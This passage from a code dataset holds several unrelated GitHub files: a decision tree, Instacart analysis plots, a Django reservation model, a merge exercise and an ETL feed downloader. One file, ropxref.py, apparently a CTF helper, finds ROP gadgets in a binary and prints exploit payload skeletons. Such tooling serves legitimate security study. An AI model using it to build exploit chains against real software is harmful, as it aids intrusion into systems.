n1)\n    r1 = h1 * (len(x_train_left) / len(x_train))\n\n    h2 = h_entropy(p2, n2)\n    r2 = h2 * (len(x_train_right) / len(x_train))\n\n    return r1 + r2\n\n\ndef min_remainder(x_train: list, y_train: list, features: list[int]) -> int:\n    \"\"\"\n    This function is used to find the feature that minimizes the remainder.\\n\n    In theory we should maximize the information gain, but since the first part\n    of the gain formula it's the same for all the features, we can directly calculate\n    the minimum reminder\n    :param x_train: x train set\n    :param y_train: y train set\n    :param features: iterable list of features\n    :return: the feature that minimizes the remainder\n    \"\"\"\n    assert isinstance(x_train, list) or isinstance(x_train, np.ndarray), \"x_train should be a list or a numpy array\"\n    assert isinstance(y_train, list) or isinstance(y_train, np.ndarray), \"y_train should be a list or a numpy array\"\n    assert isinstance(features, list), \"feature should be an int\"\n\n    if len(features) == 0:\n        raise ValueError(\"features should have size > 0\")\n\n    return min([(f, remainder(x_train, y_train, f)) for f in features], key=lambda x: x[1])[0]\n\n\nclass MyDecisionTree:\n    \"\"\"\n    This class is used to train and stores a binary decision tree classifier that splits the data of every feature\n    using their median.\\n\n    Use the \"fit\" method to train the classifier and the \"predict\" method to predict the class of a new sample.\n    \"\"\"\n    def __init__(self):\n        self.tree = None\n\n    def fit(self, x_train: list, y_train: list) -> None:\n        \"\"\"\n        This method is used to train the classifier.\n\n        :param x_train: a matrix where each row is a sample and each column is a feature\n        :param y_train: a list of boolean values where each value is the class of the corresponding sample\n        \"\"\"\n        if len(x_train) != len(y_train):\n            raise ValueError(\"x_train e y_train should have the same size\")\n        if len(x_train) == 0:\n            raise ValueError(\"x_train e y_train should not be empty\")\n        if len(x_train[0]) == 0:\n            raise ValueError(\"x_train should contains non empty list\")\n\n        # TODO: maybe a set is better than a list for \"features\"\n        features = list(range(len(x_train[0])))\n\n        self.tree = self._make_tree(x_train, y_train, features, y_train)\n\n    def _make_tree(self, x_train: list, y_train: list, features: list, y_train_parent: list) -> [TreeNode, bool]:\n        if len(x_train) == 0:\n            return plurality_value(y_train_parent)\n\n        positive = len([y for y in y_train if y])\n        if positive == len(y_train):\n            return True\n        if positive == 0:\n            return False\n\n        if len(features) == 0:\n            return plurality_value(y_train)\n\n        f = min_remainder(x_train, y_train, features)\n        median = find_median(x_train, f)\n\n        partitions = make_partitions(x_train, y_train, median, f)\n        x_train_left, y_train_left, x_train_right, y_train_right = partitions\n\n        features.remove(f)\n        left = self._make_tree(x_train_left, y_train_left, features, y_train)\n\n        right = self._make_tree(x_train_right, y_train_right, features, y_train)\n        features.append(f)\n\n        return TreeNode(f, median, left, right)\n\n    def predict(self, x_test: list) -> list[bool]:\n        assert isinstance(x_test, list) or isinstance(x_test, np.ndarray), \"x_train_row should be a list or a numpy array\"\n        return [self.predict_single(x) for x in x_test]\n\n    def predict_single(self, x_train_row: list) -> bool:\n        assert isinstance(x_train_row, list) or isinstance(x_train_row, np.ndarray), \"x_train_row should be a list or a numpy array\"\n\n        if self.tree is None:\n            raise ValueError('You should train the model before using it; use the \"fit\" method')\n\n        node = self.tree\n        while not isinstance(node, bool):\n            if x_train_row[node.feature] <= node.value:\n                node = node.left\n            else:\n                node = node.right\n        return node\n","repo_name":"ValerioCeccarelli/fia_project","sub_path":"decision_tree/my_decision_tree.py","file_name":"my_decision_tree.py","file_ext":"py","file_size_in_byte":8332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73551025059","text":"def meanOrderFrequency(path_to_dataset):\n    \"\"\"\n    Displays the mean order frequency by utilizing the orders table.\n    :param path_to_dataset: this path should have all the .csv files for the dataset\n    :type path_to_dataset: str\n    \"\"\"\n    assert isinstance(path_to_dataset, str)\n    import pandas as pd\n    order_file_path = path_to_dataset + '/orders.csv'\n    orders = pd.read_csv(order_file_path)\n    print('On an average, people order once every ', orders['days_since_prior_order'].mean(), 'days')\n    \n    \ndef numOrdersVsDays(path_to_dataset):\n    \"\"\"\n    Displays the number of orders and how this number varies with change in days since last order.\n    :param path_to_dataset: this path should have all the .csv files for the dataset\n    :type path_to_dataset: str\n    \"\"\"\n    \n    assert isinstance(path_to_dataset, str)\n    \n    import pandas as pd \n    import numpy as np \n    import matplotlib.pyplot as plt \n    import matplotlib\n    \n    \n    \n    order_file_path = path_to_dataset + '/orders.csv'\n    \n    orders = pd.read_csv(order_file_path)\n    \n    order_by_date = orders.groupby(by='days_since_prior_order').count()\n    \n    fig = plt.figure(figsize = [15, 7.5])\n    ax = fig.add_subplot()\n    order_by_date['order_id'].plot.bar(color = '0.75')\n    ax.set_xticklabels(ax.get_xticklabels(), fontsize= 15)\n    plt.yticks(fontsize=16)\n    ax.get_xaxis().set_major_formatter(matplotlib.ticker.FuncFormatter(lambda x, p: format(int(x))))\n    ax.get_yaxis().set_major_formatter(matplotlib.ticker.FuncFormatter(lambda x, p: format(int(x/1000))))\n    ax.set_xlabel('Days since previous order', fontsize=16)\n    ax.set_ylabel('Number of orders / 1000', fontsize=16)\n    ax.spines['top'].set_visible(False)\n    ax.spines['right'].set_visible(False)\n    ax.get_children()[7].set_color('0.1')\n    ax.get_children()[14].set_color('0.1')\n    ax.get_children()[21].set_color('0.1')\n    ax.get_children()[30].set_color('0.1')\n    my_yticks = ax.get_yticks()\n    plt.yticks([my_yticks[-2]], visible=True)\n    plt.xticks(rotation = 'horizontal');\n    \n    \n\ndef numOrderDaysSizeBubble(path_to_dataset):\n    \"\"\"\n    Plots a bubble plot in which:\n    x: Days since Previous Order\n    y: Number of orders/1000\n    size: Average Size of order given it was placed on x\n    \n    :param path_to_dataset: this path should have all the .csv files for the dataset\n    :type path_to_dataset: str\n    \"\"\"\n    import numpy as np\n    import pandas as pd\n    import matplotlib\n    import matplotlib.pyplot as plt\n    import seaborn as sns\n    \n    assert isinstance(path_to_dataset, str)\n    \n    \n    order_file_path = path_to_dataset + '/orders.csv'\n    order_product_prior_file_path = path_to_dataset + '/order_products__prior.csv'\n    \n    orders = pd.read_csv(order_file_path)\n    order_products_prior = pd.read_csv(order_product_prior_file_path)\n    \n    order_id_count_products = order_products_prior.groupby(by='order_id').count()\n    orders_with_count = order_id_count_products.merge(orders, on='order_id')\n    order_by_date = orders.groupby(by='days_since_prior_order').count()\n    # take above table and group by days_since_prior_order\n\n    df_mean_order_size = orders_with_count.groupby(by='days_since_prior_order').mean()['product_id']\n    df_mean_order_renamed = df_mean_order_size.rename('average_order_size')\n\n\n    bubble_plot_dataframe = pd.concat([order_by_date['order_id'], df_mean_order_renamed], axis=1)\n\n    bubble_plot_dataframe['average_order_size'].index.to_numpy()\n\n    fig = plt.figure(figsize=[15,7.5])\n    ax = fig.add_subplot()\n    plt.scatter(bubble_plot_dataframe['average_order_size'].index.to_numpy(), bubble_plot_dataframe['order_id'].values, s=((bubble_plot_dataframe['average_order_size'].values/bubble_plot_dataframe['average_order_size'].values.mean())*10)**3.1, alpha=0.5, c = '0.5')\n\n    plt.xticks(np.arange(0, 31, 1.0));\n    ax.xaxis.grid(True)\n    ax.spines['top'].set_visible(False)\n    ax.spines['right'].set_visible(False)\n    ax.set_xlabel('Days since previous order', fontsize=16)\n    ax.set_ylabel('Number of orders / 1000', fontsize=16)\n    ax.get_xaxis().set_major_formatter(matplotlib.ticker.FuncFormatter(lambda x, p: format(int(x))))\n    ax.get_yaxis().set_major_formatter(matplotlib.ticker.FuncFormatter(lambda x, p: format(int(x/1000))))\n    my_yticks = ax.get_yticks()\n    plt.yticks([my_yticks[-2], my_yticks[0]], visible=True);\n\n    fig = plt.figure(figsize=[10,9])\n    ax = fig.add_subplot()\n    plt.scatter(bubble_plot_dataframe['average_order_size'].index.to_numpy()[:8], bubble_plot_dataframe['order_id'].values[:8], s=((bubble_plot_dataframe['average_order_size'].values[:8]/bubble_plot_dataframe['average_order_size'].values.mean())*10)**3.1, alpha=0.5, c = '0.5')\n\n    plt.xticks(np.arange(0, 8, 1.0));\n    ax.xaxis.grid(True)\n    ax.spines['top'].set_visible(False)\n    ax.spines['right'].set_visible(False)\n    ax.set_xlabel('Days since previous order', fontsize=16)\n    ax.set_ylabel('Number of orders / 1000', fontsize=16)\n    ax.get_xaxis().set_major_formatter(matplotlib.ticker.FuncFormatter(lambda x, p: format(int(x))))\n    ax.get_yaxis().set_major_formatter(matplotlib.ticker.FuncFormatter(lambda x, p: format(int(x/1000))))\n    my_yticks = ax.get_yticks()\n    plt.yticks([my_yticks[-2], my_yticks[0]], visible=True);\n    \n    \ndef orderTimeHeatMaps(path_to_dataset):\n    \"\"\"\n    Plots the distribution of order with respect to hour of day and day of the week.\n    :param path_to_dataset: this path should have all the .csv files for the dataset\n    :type path_to_dataset: str\n    \"\"\"\n    \n    assert isinstance(path_to_dataset, str)\n    \n    import pandas as pd\n    import matplotlib.pyplot as plt\n    import seaborn as sns\n    import numpy as np\n    \n    order_file_path = path_to_dataset + '/orders.csv'\n    \n    orders = pd.read_csv(order_file_path)\n\n    grouped_data = orders.groupby([\"order_dow\", \"order_hour_of_day\"])[\"order_number\"].aggregate(\"count\").reset_index()\n    grouped_data = grouped_data.pivot('order_dow', 'order_hour_of_day', 'order_number')\n\n    grouped_data.index = pd.CategoricalIndex(grouped_data.index, categories=[0,1,2,3,4,5,6])\n    grouped_data.sort_index(level=0, inplace=True)\n\n    plt.figure(figsize=(12,6))\n    hour_of_day = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14','15','16', '17', '18', '19','20', '21', '22', '23']\n    dow = [ 'SUN', 'MON', 'TUES', 'WED', 'THUR','FRI','SAT']  \n\n    ax = sns.heatmap(grouped_data, xticklabels=hour_of_day,yticklabels=dow,cbar_kws={'label': 'Number Of Orders Made/1000'})\n    cbar = ax.collections[0].colorbar\n    cbar.set_ticks([0, 10000, 20000, 30000, 40000, 50000])\n    cbar.set_ticklabels(['0','10.0','20.0','30.0','40.0','50.0'])\n    ax.figure.axes[-1].yaxis.label.set_size(15)\n    ax.figure.axes[0].yaxis.label.set_size(15)\n    ax.figure.axes[0].xaxis.label.set_size(15)\n\n    ax.set(xlabel='Hour of Day', ylabel= \"Day of the Week\")\n    ax.set_title(\"Number of orders made by Day of the Week vs Hour of Day\", fontsize=15)\n    plt.show()\n\n    grouped_data = orders.groupby([\"order_dow\", \"order_hour_of_day\"])[\"order_number\"].aggregate(\"count\").reset_index()\n    grouped_data = grouped_data.pivot('order_dow', 'order_hour_of_day', 'order_number')\n\n    grouped_data.index = pd.CategoricalIndex(grouped_data.index, categories=[0,1,2,3,4,5,6])\n    grouped_data.sort_index(level=0, inplace=True)\n\n    plt.figure(figsize=(12,6))\n    hour_of_day = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14','15','16', '17', '18', '19','20', '21', '22', '23']\n    dow = [ 'SUN', 'MON', 'TUES', 'WED', 'THUR','FRI','SAT']  \n\n    ax = sns.heatmap(np.log(grouped_data), xticklabels=hour_of_day,yticklabels=dow,cbar=False)\n    cbar = ax.collections[0].colorbar\n\n    ax.figure.axes[-1].yaxis.label.set_size(15)\n    ax.figure.axes[0].yaxis.label.set_size(15)\n    ax.figure.axes[0].xaxis.label.set_size(15)\n\n\n    ax.set(xlabel='Hour of Day', ylabel= \"Day of the Week\")\n    ax.set_title(\"Number of orders made by Day of the Week vs Hour of Day (Log Scale)\", fontsize=15)\n    plt.show()\n    \ndef generateWordCloud(path_to_dataset):\n    \"\"\"\n    Generates word cloud.\n    :param path_to_dataset: path to dataset\n    :type path_to_dataset: str\n    \"\"\"\n    \n    assert isinstance(path_to_dataset, str)\n    \n    from wordcloud import WordCloud\n    import pandas as pd\n    import matplotlib.pyplot as plt\n    \n    product_path = path_to_dataset + \"/products.csv\"\n    aisles_path = path_to_dataset + \"/aisles.csv\"\n    departments_path = path_to_dataset + \"/departments.csv\"\n    order_product_prior_path = path_to_dataset + \"/order_products__prior.csv\"\n\n    df_products = pd.read_csv(product_path)\n    df_aisles = pd.read_csv(aisles_path)\n    df_departments = pd.read_csv(departments_path)\n    df_order_products_prior = pd.read_csv(order_product_prior_path)\n\n    # Merge Prior orders, Product, Aisle and Department \n    df_order_products_prior_merged = pd.merge(\n                                        pd.merge(pd.merge(df_order_products_prior, df_products, on=\"product_id\", how=\"left\"), \n                                            df_aisles, \n                                            on=\"aisle_id\", \n                                            how=\"left\"), \n                                        df_departments, \n                                        on=\"department_id\", \n                                        how=\"left\")\n    # Top N products by frequency\n    top_products = df_order_products_prior_merged[\"product_name\"].value_counts()\n\n\n    d = top_products.to_dict()\n\n    wordcloud = WordCloud(background_color='white')\n    wordcloud.generate_from_frequencies(frequencies=d)\n    plt.figure(figsize = (8,8))\n    plt.imshow(wordcloud, interpolation=\"bilinear\")\n    plt.axis(\"off\")\n    plt.show()\n\ndef no_of_orders(path_to_data = './instacart-market-basket-analysis'):\n    \"\"\"\n    pass path to orders.csv\n    \"\"\"\n    \n    bins = 10\n    path = path_to_data + '/orders.csv'\n    import numpy as np # linear algebra\n    import matplotlib.pyplot as plt\n    import seaborn as sns\n    import pandas as pd \n    import numpy as np \n    import matplotlib.pyplot as plt \n    import matplotlib.mlab as mlab\n    import seaborn as sns \n    from scipy.optimize import curve_fit\n    from IPython.display import display, HTML\n    \n    \n    orders = pd.read_csv(path) \n    sns.set_style('dark')\n    customer_no = orders.groupby(\"user_id\", as_index = False)[\"order_number\"].max() \n    \n    n, bins, patches = plt.hist(customer_no[\"order_number\"] , bins, color='blue', alpha=0.5)\n\n    plt.xlabel(\"No. of Orders\")\n    plt.ylabel(\"Count\")\n    plt.title(\"Number of Orders per Customer\")\n\n\ndef freq_product(path1 = \"./instacart-market-basket-analysis/order_products__train.csv\",path2 = \"./instacart-market-basket-analysis/order_products__prior.csv\" , path3 = \"./instacart-market-basket-analysis/products.csv\"):\n    import numpy as np # linear algebra\n    import matplotlib.pyplot as plt\n    import seaborn as sns\n    import pandas as pd \n    import numpy as np \n    import matplotlib.pyplot as plt \n    import matplotlib.mlab as mlab\n    import seaborn as sns \n    from scipy.optimize import curve_fit\n    from IPython.display import display, HTML\n    order_products_train = pd.read_csv(path1) \n    order_products_prior = pd.read_csv(path2)\n    products = pd.read_csv(path3)\n    t_p = order_products_train.append(order_products_prior,ignore_index = True)\n    prod = t_p.groupby(\"product_id\",as_index = False)[\"order_id\"].count() \n\n    top = 20\n    product_Count = prod.sort_values(\"order_id\",ascending = False)\n    df1 = product_Count.iloc[0:top,:]\n    df1 = df1.merge(products,on = \"product_id\")\n    display(df1.loc[:,[\"product_name\"]])\n    \ndef dept_prod(m = \"./instacart-market-basket-analysis/products.csv\" , n = \"./instacart-market-basket-analysis/departments.csv\" , p = \"./instacart-market-basket-analysis/aisles.csv\"):\n    import numpy as np # linear algebra\n    import matplotlib.pyplot as plt\n    import seaborn as sns\n    import pandas as pd \n    import numpy as np \n    import matplotlib.pyplot as plt \n    import matplotlib.mlab as mlab\n    import seaborn as sns \n    from scipy.optimize import curve_fit\n    from IPython.display import display, HTML\n    products = pd.read_csv(m)\n    departments = pd.read_csv(n) \n    aisles = pd.read_csv(p)\n    x = pd.merge(left=products, right=departments, how='left')\n    lists = pd.merge(left = x, right=aisles, how='left')\n    \n    group_list = lists.groupby(\"department\")[\"product_id\"].aggregate({'Total_products': 'count'}) \n    final = group_list.reset_index() \n    final.sort_values(by='Total_products', ascending=False, inplace=True)\n    \n    sns.set_style('white') \n    ax = sns.barplot(x=\"Total_products\", y=\"department\", data=final,color = 'gray' )\n\n    r = ax.spines[\"right\"].set_visible(False)\n    t = ax.spines[\"top\"].set_visible(False)\n\n\ndef dept_reorder(path = \"order_products__prior.csv\" , m = \"products.csv\" , n = \"departments.csv\" , p = \"aisles.csv\"):\n    import numpy as np # linear algebra\n    import matplotlib.pyplot as plt\n    import seaborn as sns\n    import pandas as pd \n    import numpy as np \n    import matplotlib.pyplot as plt \n    import matplotlib.mlab as mlab\n    import seaborn as sns \n    from scipy.optimize import curve_fit\n    from IPython.display import display, HTML\n    products = pd.read_csv(m)\n    departments = pd.read_csv(n) \n    aisles = pd.read_csv(p)\n    \n    order_products_prior = pd.read_csv(path)\n    \n    order_products_prior = pd.merge(order_products_prior, products, on='product_id', how='left')\n    order_products_prior = pd.merge(order_products_prior, aisles, on='aisle_id', how='left')\n    order_products_prior = pd.merge(order_products_prior, departments, on='department_id', how='left')\n    \n    df2 = order_products_prior.groupby([\"department\"])[\"reordered\"].aggregate(\"mean\").reset_index()\n\n    plt.figure(figsize=(12,8))\n    sns.set_style('white')\n\n    ax1 = sns.scatterplot(df2['reordered'].values,df2['department'].values , color = 'gray')\n    plt.ylabel('Department', fontsize=15)\n    plt.xlabel('Reorder Ratio' , fontsize=15)\n    plt.title(\"Department wise reorder ratio\", fontsize=15)\n    plt.xticks(rotation='horizontal')\n    r = ax1.spines[\"right\"].set_visible(False)\n    t = ax1.spines[\"top\"].set_visible(False)\n    plt.show() ","repo_name":"chaitanyaspatil/Instacart_Database_Insights","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":14311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"7105299550","text":"import datetime\nfrom django.db import models\nfrom django.utils import timezone  # 예약이 in_progress인지 아닌지 할때 이거 있어야함.\nfrom core import models as core_models\n\n# Create your models here.\n\n\nclass BookedDay(core_models.TimeStampedModel):\n\n    day = models.DateField()\n    reservation = models.ForeignKey(\"Reservation\", on_delete=models.CASCADE)\n\n    class Meta:\n        verbose_name = \"Booked Day\"\n        verbose_name_plural = \"Booked Days\"\n\n    def __str__(self):\n        return str(self.day)\n\n\nclass Reservation(core_models.TimeStampedModel):\n\n    \"\"\"Reservation Model Definition \"\"\"\n\n    STATUS_PENDING = \"pending\"\n    STATUS_CONFIRMED = \"confirmed\"\n    STATUS_CANCELED = \"canceled\"\n\n    STATUS_CHOICES = (\n        (STATUS_PENDING, \"pending\"),\n        (STATUS_CONFIRMED, \"confirmed\"),\n        (STATUS_CANCELED, \"canceled\"),\n    )\n\n    status = models.CharField(\n        max_length=12, choices=STATUS_CHOICES, default=STATUS_PENDING\n    )\n    check_in = models.DateField()\n    check_out = models.DateField()\n    guest = models.ForeignKey(\n        \"users.User\", related_name=\"reservation\", on_delete=models.CASCADE\n    )\n    room = models.ForeignKey(\n        \"rooms.Room\", related_name=\"reservation\", on_delete=models.CASCADE\n    )\n\n    def __str__(self):\n        return f\"{self.room} - {self.check_in}\"\n\n    def in_progress(self):\n        now = timezone.now().date()  # import 해야함.\n        return now >= self.check_in and now <= self.check_out\n\n    in_progress.boolean = True  # 이렇게 하면 true, false 이모티콘으로 바꿔줌.\n\n    def is_finished(self):\n        now = timezone.now().date()\n        is_finished = now > self.check_out\n        if is_finished:\n            BookedDay.objects.filter(reservation=self).delete()\n        return is_finished\n\n    is_finished.boolean = True\n\n    def save(self, *args, **kwargs):\n        if self.pk is None:  # 우리가 만든 model이 new라는 뜻\n            start = self.check_in\n            end = self.check_out\n            difference = end - start\n            existing_booked_day = BookedDay.objects.filter(\n                day__range=(start, end)\n            ).exists()  # 사이에 예약이 있는지 확인\n\n            if not existing_booked_day:\n                super().save(*args, **kwargs)\n                for i in range(difference.days + 1):\n                    day = start + datetime.timedelta(days=i)\n                    BookedDay.objects.create(day=day, reservation=self)  # bookedday 생성\n                return\n\n        return super().save(*args, **kwargs)","repo_name":"seongryeol-han/airbnb-clone","sub_path":"reservations/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30699835501","text":"import subprocess\nimport re\nimport sys\n\npath_to_rp = \"/bin/rp-lin-x64\"\n\nmov_dict = {}\npop_list = []\nans_dict = {}\npush_dict = {}\npop_dict = {}\n\n\ndef rop_load(filename):\n    p = subprocess.run([path_to_rp, \"-f\", filename, \"-r\", \"10\", \"--unique\"],\n                       stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    data = p.stdout.decode(\"utf-8\").split(\"\\n\")\n    return data\n\n\ndef load_plt_section(filename):\n    p = subprocess.run([\"/usr/bin/objdump\", \"-M\", \"intel\", \"-D\", filename],\n                       stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n    data = p.stdout.decode(\"utf-8\").split(\"\\n\")\n    return data\n\n\ndef operand_parser(string):\n    return string.replace(\";\", \"\").strip().split(\",\")\n\n\ndef create_movdict(data_list):\n    for data in data_list:\n        #addressing = re.findall(r\"[0-9A-Fa-f]{8}.+mov [^;]+;.*ret\", data)\n        addressing = re.findall(r\"[0-9A-Fa-f]{8}.+mov [^;]+;.*$\", data)\n        if addressing == []:\n            continue\n        address = re.findall(r\"[0-9A-Fa-f]{8}\", str(addressing))[0]\n        operands = re.findall(r\"(?<=mov )[^;]+;\", data)\n        for ope in operands:\n            ope1, ope2 = operand_parser(ope)\n            mov_dict[ope2.strip()] = (\n                addressing[0], ope1.strip(), ope2.strip(), address)\n\n\ndef create_poplist(data_list):\n    for data in data_list:\n        addressing = re.findall(r\"[0-9A-Fa-f]{8}.+pop [^;]+;.*$\", data)\n        if addressing == []:\n            continue\n        if(\"rsp\" in data or \"esp\" in data):\n             continue\n        address = re.findall(r\"[0-9A-Fa-f]{8}\", addressing[0])[0]\n        operands = re.findall(r\"(?<=pop )[^;]+;\", data)\n        popnum = len(operands)\n        for i, operand in enumerate(operands):\n            ope = operand_parser(operand)[0].strip()\n            pop_list.append((addressing[0], ope, popnum, i, address))\n            if(ope in pop_dict):\n                pop_dict[ope] += [(addressing[0], ope, i, address, popnum)]\n            else:\n                pop_dict[ope] = [(addressing[0], ope, i, address, popnum)]\n\n\ndef print_can_pop_to_mov():\n    for pop in pop_list:\n        if(pop[1] in mov_dict):\n            mes = \"\\033[93m \" + str(pop[2]) + \".\" + str(pop[3] + 1) + \"X -> \" + str((pop[1]) + \" -> \" + str(\n                mov_dict[pop[1]][1]) + \"\\033[0m : \" + \"\\033[91m0x\" + pop[0]) + \"\\n\" + \" \"*18 + \"->  \\033[91m0x\" + str(mov_dict[pop[1]][0])\n            if(mov_dict[pop[1]][3] in ans_dict):\n                ans_dict[mov_dict[pop[1]][3]\n                         ] += [(mes, pop[2], pop[3], pop[4])]\n            else:\n                ans_dict[mov_dict[pop[1]][3]] = [(mes, pop[2], pop[3], pop[4])]\n    print(\"\\033[92m-------------------------------------\\n\")\n    for address in ans_dict.keys():\n        for mes in list(set(ans_dict[address])):\n            print(mes[0])\n            print(\"[*]suggestion\\n\")\n            buf = str(\"buf += p64(0x\" + mes[3])\n            buf += \")\\n\"\n            popnum = mes[1]\n            offset = mes[2]\n            for i in range(popnum):\n                if i == offset:\n                    buf += str(\"buf += p64(value\")\n                    buf += \")\\n\"\n                else:\n                    buf += str(\"buf += p64(dummy\")\n                    buf += \")\\n\"\n            buf += \"buf += p64(0x\" + address + \")\"\n            print(buf)\n            print(\"\\033[91m\")\n        if(\"call\" in mes[0]):\n            called = re.search(\n                r\"(?<=call )[^;]+;\", mes[0]).group(0).replace(\";\", \"\")\n            print(\"[+]to call next rop chain : \" +\n                  called + \" = \" + \"pop x ret\")\n            registers = re.findall(r\"r[0-9a-z]+\", called.replace(\"word\", \"\"))\n            print(\"so you can use these gadget\")\n            for reg in registers:\n                try:\n                    for pop in pop_dict[reg]:\n                        print(\" \"*30+\"0x\"+pop[0])\n                        print(\"[*]suggestion\")\n                        print(\"\\033[94m\")\n                        buf = str(\"buf += p64(0x\" + pop[3])\n                        buf += \")\\n\"\n                        popnum = pop[4]\n                        offset = pop[2]\n                        for i in range(popnum):\n                            if i == offset:\n                                buf += str(\"buf += p64(&pop1_ret\")\n                                buf += \")\\n\"\n                            else:\n                                buf += str(\"buf += p64(dummy\")\n                                buf += \")\\n\"\n                        buf += \"your_gadget\"\n                        print(buf)\n                        print(\"\\033[91m\")\n                except:\n                    print(\"I have no idea\")\n                    pass\n        print(\"\")\n        print(\"\\033[92m-------------------------------------\")\n\n\ndef print_can_push_to_pop():\n    for push in list(push_dict.keys()):\n        print(\"push {} -> X\".format(push))\n\ndef genarate_rop_code(code ,popnum, offset,address, operand):\n        val = \"_\".join([i.replace(\";\", \"\").strip().replace(\" \", \"_\") for i in re.findall(r\"pop [^;]+;\", code)])\n        print(\" \\033[93m\" + val + \" = 0x\" + address)\n        print(\"\\033[0m \")\n        buf = str(\"buf += p64(\" + val)\n        buf += \")\\n\"\n        for i in range(popnum):\n            if i == offset:\n                buf +=str(\"buf += p64(value_\"+ operand)\n                buf += \")\\n\"\n            else:\n                buf +=str(\"buf += p64(dummy\")\n                buf += \")\\n\"\n        print(\"\\n\")\n        return buf\n\nargc = len(sys.argv)\nif(argc <= 1):\n    print(\"invalid argument\")\n    sys.exit()\nfilename = str(sys.argv[1])\ndata_list = rop_load(filename)\ncreate_movdict(data_list)\ncreate_poplist(data_list)\nprint(\"[+]poplist\")\nfor pop in pop_list:                #pop code[0], ope, popnum, i, address\n    print(pop[0])\n    print(\"\")\n    buf = genarate_rop_code(pop[0],pop[2],pop[3],pop[4],pop[1])\nprint(\"\")\nprint(\"pop chain\")\nprint_can_pop_to_mov()\n# for pop in pop_list:\n#    print(pop)\n","repo_name":"tachibana51/ktpwntools","sub_path":"ropxref.py","file_name":"ropxref.py","file_ext":"py","file_size_in_byte":5931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"40588124946","text":"'''\nStart with two arrays of strings, A and B, each with its elements in alphabetical order and without duplicates. Return a new array containing the first N elements from the two arrays. The result array should be in alphabetical order and without duplicates. A and B will both have a length which is N or more. The best \"linear\" solution makes a single pass over A and B, taking advantage of the fact that they are in alphabetical order, copying elements directly to the new array.\n\nmergeTwo([\"a\", \"c\", \"z\"], [\"b\", \"f\", \"z\"], 3) ---> [\"a\", \"b\", \"c\"]\nmergeTwo([\"a\", \"c\", \"z\"], [\"c\", \"f\", \"z\"], 3) ---> [\"a\", \"c\", \"f\"]\nmergeTwo([\"f\", \"g\", \"z\"], [\"c\", \"f\", \"g\"], 3) ---> [\"c\", \"f\", \"g\"]\n'''\nfrom collections import Counter\n\ndef mergeTwo(PuffDaddy01, PuffDaddy02, N):\n    unique01counter = Counter(PuffDaddy01)\n    unique01 = []\n    for key in unique01counter:\n        unique01.append(key)\n    unique01 = sorted(unique01)\n    unique02counter = Counter(PuffDaddy02)\n    unique02 = []\n    for key in unique02counter:\n        unique02.append(key)\n    unique02 = sorted(unique02)\n    ParisJackson = []\n    BlanketJackson = []\n    for i in range(0, N-1, 1):\n        ParisJackson.append(unique01[i])\n    for i in range(0, N-1, 1):\n        if unique02[i] in ParisJackson:\n            pass\n        else:\n            ParisJackson.append(unique02[i])\n    ParisJackson = sorted(ParisJackson)\n    for i in range(0, N, 1):\n        BlanketJackson.append(ParisJackson[i])\n    print('{}, {}, {} {} {}'.format(unique01, unique02, N, ' --> ', BlanketJackson))\n\nmergeTwo([\"a\", \"c\", \"z\"], [\"b\", \"f\", \"z\"], 3)\nmergeTwo([\"a\", \"c\", \"z\"], [\"c\", \"f\", \"z\"], 3)\nmergeTwo([\"f\", \"g\", \"z\"], [\"c\", \"f\", \"g\"], 3)\nprint(72*'-')\nmergeTwo(['j','a','y','y','o','u','n','g','b','l','o','o','d'],['z','e','e','m','a','x'],5)\n","repo_name":"tommyyearginjr/PyCodingExercises","sub_path":"merge2/01.py","file_name":"01.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"5096501586","text":"from datetime import datetime\nfrom zipfile import ZipFile\nfrom pymongo import MongoClient\nimport os\nimport logging\nimport pytz\n\nfrom etl.extract.feed_service import fetch_geopackage_feed\nfrom etl.extract.feed_service import download_zip\nfrom etl.load.mongodb.mongo_helpers import initiliaze_source_document\n\nlog = logging.getLogger(__name__)\n\n\ndef unzip(path, to_path, to_filename):\n    with ZipFile(path, allowZip64=True) as zf:\n        zf.extract(to_filename, to_path)\n\n\ndef process_geopackage(reg_type):\n    doc_type = reg_type.type_name\n    log.info(\"Collecting for type: '%s'\" % doc_type)\n\n    try:\n        mongoUrl = os.environ.get('mongodbUrl')\n        client = MongoClient(mongoUrl)\n        db = client.bro\n    except Exception as e:\n        log.error(str(e))\n        return\n\n    # Get geopackage ATOM feed based on source URL\n    try:\n        source_url = os.environ.get(reg_type.sourceKey)\n        feed = fetch_geopackage_feed(source_url)\n        db.source.update_one({\"type\": doc_type}, {\n                             \"$set\": {\"last_extracted\": datetime.now()}}, upsert=True)\n    except Exception as e:\n        log.error(str(e))\n        db.source.update_one({\"type\": doc_type}, {\n                             \"$set\": {\"status\": \"Failed extracting xml\"}}, upsert=True)\n        return\n\n    # Download and process ZIP from source\n    try:\n        source = db.source.find_one({\"type\": doc_type})\n        log.info(\"Datum in feed: %s en laatst update datum: %s.\" %\n                 (feed.updated, source['updated']))\n\n        download_data = feed.updated > pytz.utc.localize(source['updated'])\n\n        if download_data:\n            \n            download_location = os.environ.get('downloadLocation', '/mnt/brodata/')\n            path = download_location + feed.filename\n\n            log.info(\"Start download van %s naar %s\" % (feed.zip_url, path))\n            if download_zip(feed.zip_url, path):\n                unzip_filename = feed.filename.replace('zip', 'gpkg')\n                log.info(\"Unzipping %s\" % path)\n                if doc_type == \"bhr-gt\":\n                    unzip_filename = \"brobhrgtvolledigeset.gpkg\"\n                unzip_location = os.environ.get('unzipLocation', '/mnt/brodata/')                \n                unzip(path, unzip_location, unzip_filename)\n\n                db.source.update_one({\"type\": doc_type},\n                                     {\"$set\": {\"updated\": feed.updated,\n                                               \"status\": \"OK\", \"zip_filename\": feed.filename}},\n                    